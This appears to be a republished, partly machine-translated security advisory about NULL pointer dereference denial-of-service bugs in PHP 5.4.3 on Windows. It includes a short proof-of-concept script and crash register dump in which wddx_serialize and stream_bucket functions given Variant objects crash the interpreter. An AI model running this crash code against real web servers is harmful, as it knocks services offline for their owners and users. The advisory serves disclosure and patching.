PHP 5.4.3 multiple NULL pointer reference Denial of Service Vulnerability

Source: Internet
Author: User

Release date:-11 vulnerability version:

PHP 5.4.3
Vulnerability description:
Bugtraq id: 53643PHP is an embedded HTML language. PHP is somewhat similar to Microsoft's ASP, and is a script language for embedding HTML documents on the server, the language style is similar to the C language and is widely used by many website programmers. In versions earlier than PHP 5.4.3, there are multiple DoS vulnerabilities caused by NULL pointer reference. Attackers can exploit these vulnerabilities to cause application crash.
<* Reference
Condis
*> Test method: @ Sebug.net dis
The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk!
 
 
  1. <?php
  2.  
  3. /*
  4.  
  5. PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce
  6. Author : condis
  7. Date : 10.04.2012 AD
  8. Website : http://cond.psychodela.pl
  9.  
  10. ----
  11.  
  12. Download : http://php.net/downloads.php
  13.  
  14. Tested on:
  15. PHP 5.3.8 + Windows XP SP3 Professional PL
  16. PHP 5.3.10 + Windows XP SP3 Professional PL
  17. PHP 5.4.0 + Windows XP SP3 Professional PL
  18. PHP 5.4.3 + Windows XP SP3 Professional PL
  19. Description:
  20.  
  21. wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant
  22. object when it is given as a first argument.
  23.  
  24. Registers:
  25.  
  26. EAX 00000000
  27. ECX 1056AAE8 php5ts.1056AAE8
  28. EDX 100EFCE0 php5ts.100EFCE0
  29. EBX 01032AB0
  30. ESP 00C0FAE0
  31. EBP 00000000
  32. ESI 0121E478
  33. EDI 0121CB50
  34. EIP 1028F22E php5ts.1028F22E
  35.  
  36. Crash:
  37.  
  38. 1028F22E 8A45 25 MOV AL,BYTE PTR SS:[EBP+25]
  39.  
  40. Situation looks pretty much the same for both wddx_serialize_vars and
  41. wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append
  42. have some problems with handling Variant object when given as a second argument:
  43.  
  44. stream_bucket_append(1, new Variant(1));
  45. stream_bucket_prepend(1, new Variant(1));
  46.  
  47. PS : Variant object is only available in PHP for Windows OS and it was implemented
  48. in PHP > 4.1.0 and PHP 5.
  49.  
  50. For more details check : http://php.net/manual/en/class.variant.php
  51.  
  52. PS2: After running this via webserver my Apache wasn't able to handle requests
  53. anymore and I had to restart him :)
  54.  
  55. kthxbye
  56.  
  57. */
  58.  
  59. wddx_serialize_value(new Variant(666));
  60.  
  61. ?>
Security suggestions:
Vendor patch: PHP --- the current vendor has not provided a patch or upgrade program, we recommend that you use this software at any time follow the vendor's home page to get the latest version: http://www.php.net

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.